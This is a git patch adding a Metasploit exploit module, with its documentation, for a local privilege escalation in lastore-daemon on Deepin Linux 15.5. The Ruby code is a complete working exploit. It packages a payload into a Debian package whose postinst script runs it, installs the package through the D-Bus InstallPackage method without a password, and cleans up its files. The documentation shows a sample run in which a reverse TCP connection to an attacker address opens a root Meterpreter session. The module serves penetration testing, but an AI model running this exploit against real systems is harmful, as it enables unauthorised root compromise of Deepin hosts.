From a44bcff2d8697c902eb79584a31c27d57c64c541 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 20 Apr 2018 15:45:37 -0500 Subject: [PATCH] Land #9756, Add lastore-daemon D-Bus Privilege Escalation exploit Merge branch 'land-9756' into upstream-master --- .../local/lastore_daemon_dbus_priv_esc.md | 101 ++++++++++ .../local/lastore_daemon_dbus_priv_esc.rb | 172 ++++++++++++++++++ 2 files changed, 273 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/lastore_daemon_dbus_priv_esc.md create mode 100644 modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb diff --git a/documentation/modules/exploit/linux/local/lastore_daemon_dbus_priv_esc.md b/documentation/modules/exploit/linux/local/lastore_daemon_dbus_priv_esc.md new file mode 100644 index 0000000000..2b18a1c51c --- /dev/null +++ b/documentation/modules/exploit/linux/local/lastore_daemon_dbus_priv_esc.md @@ -0,0 +1,101 @@ +## Description + + This module attempts to gain root privileges on [Deepin Linux](https://www.deepin.org/en/) systems + by using `lastore-daemon` to install a package. It may cause audio and/or graphical signals confirming + the installation of the payload package. + + +## Vulnerable Application + + The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any + user in the `sudo` group to install arbitrary system packages without + providing a password, resulting in code execution as root. By default, + the first user created on the system is a member of the `sudo` group. + + The D-Bus configuration in `/usr/share/dbus-1/system.d/com.deepin.lastore.conf` + permits users of the `sudo` group to execute arbitrary methods on the + `com.deepin.lastore` interface, as shown below: + + ```xml + + + + + + + + + + + + ``` + + This module has been tested successfully with lastore-daemon version + 0.9.53-1 on Deepin Linux 15.5 (x64). + + Deepin Linux is available here: + + * https://www.deepin.org/en/mirrors/releases/ + + `lastore-daemon` source repository is available here: + + * https://cr.deepin.io/#/admin/projects/lastore/lastore-daemon + * https://github.com/linuxdeepin/lastore-daemon/ + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/lastore_daemon_dbus_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +``` + msf > use exploit/linux/local/lastore_daemon_dbus_priv_esc + msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > set session 1 + session => 1 + msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Building package... + [*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/control' (98 bytes) ... + [*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/postinst' (28 bytes) ... + [*] Uploading payload... + [*] Writing '/tmp/.1sZZ46ozIH' (207 bytes) ... + [*] Installing package... + [*] Sending stage (857352 bytes) to 172.16.191.200 + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.200:51464) at 2018-03-24 18:45:29 -0400 + [+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/control + [+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/postinst + [+] Deleted /tmp/.1sZZ46ozIH + [+] Deleted /tmp/.NNhJWRPZdd/DEBIAN + [*] Removing package... + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.200 + OS : Deepin 15.5 (Linux 4.9.0-deepin13-amd64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + ``` + diff --git a/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb new file mode 100644 index 0000000000..002806dd9c --- /dev/null +++ b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'lastore-daemon D-Bus Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on Deepin Linux systems + by using lastore-daemon to install a package. + + The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any + user in the sudo group to install arbitrary system packages without + providing a password, resulting in code execution as root. By default, + the first user created on the system is a member of the sudo group. + + This module has been tested successfully with lastore-daemon version + 0.9.53-1 on Deepin Linux 15.5 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + "King's Way", # Discovery and exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Feb 2 2016', + 'References' => + [ + [ 'EDB', '39433' ], + [ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ], + ], + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultTarget' => 0)) + register_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'] + end + + def mkdir(path) + vprint_status "Creating '#{path}' directory" + cmd_exec "mkdir -p #{path}" + register_dir_for_cleanup path + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def command_exists?(cmd) + cmd_exec("command -v #{cmd} && echo true").include? 'true' + end + + def dbus_priv? + res = install_package '', '' + (res.include? 'DBus.Error.AccessDenied') ? false : true + end + + def install_package(name, path) + dbus_send dest: 'com.deepin.lastore', + type: 'method_call', + path: '/com/deepin/lastore', + interface: 'com.deepin.lastore.Manager.InstallPackage', + contents: "string:'#{name}' string:'#{path}'" + end + + def remove_package(name) + dbus_send dest: 'com.deepin.lastore', + type: 'method_call', + path: '/com/deepin/lastore', + interface: 'com.deepin.lastore.Manager.RemovePackage', + contents: "string:' ' string:'#{name}'" + end + + def dbus_send(dest:, type:, path:, interface:, contents:) + cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}" + end + + def check + %w(lastore-daemon dpkg-deb dbus-send).each do |cmd| + unless command_exists? cmd + vprint_error "#{cmd} is not installed. Exploitation will fail." + return CheckCode::Safe + end + vprint_good "#{cmd} is installed" + end + + unless dbus_priv? + vprint_error 'User is not permitted to install packages. Exploitation will fail.' + return CheckCode::Safe + end + vprint_good 'User is permitted to install packages' + + CheckCode::Appears + end + + def exploit + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + print_status 'Building package...' + + payload_name = ".#{rand_text_alphanumeric rand(10..15)}" + payload_path = "#{base_dir}/#{payload_name}" + pkg_name = rand_text_alphanumeric rand(10..15) + pkg_path = "#{base_dir}/.#{pkg_name}" + + mkdir "#{pkg_path}/DEBIAN" + pkg = "Package: #{pkg_name}\n" + pkg << "Version: 0.1\n" + pkg << "Maintainer: #{pkg_name}\n" + pkg << "Architecture: all\n" + pkg << "Description: #{pkg_name}\n" + upload "#{pkg_path}/DEBIAN/control", pkg + upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &" + + cmd_exec "dpkg-deb --build '#{pkg_path}'" + + unless file_exist? "#{pkg_path}.deb" + fail_with Failure::Unknown, 'Building package failed' + end + + print_status 'Uploading payload...' + upload_and_chmodx payload_path, generate_payload_exe + + print_status 'Installing package...' + res = install_package pkg_name, "#{pkg_path}.deb" + vprint_line res + + unless res.include? 'object path' + fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log' + end + + Rex.sleep 15 + + print_status 'Removing package...' + res = remove_package pkg_name.downcase + vprint_line res + + unless res.include? 'object path' + print_warning 'Package removal failed. Check /var/log/lastore/daemon.log' + end + end +end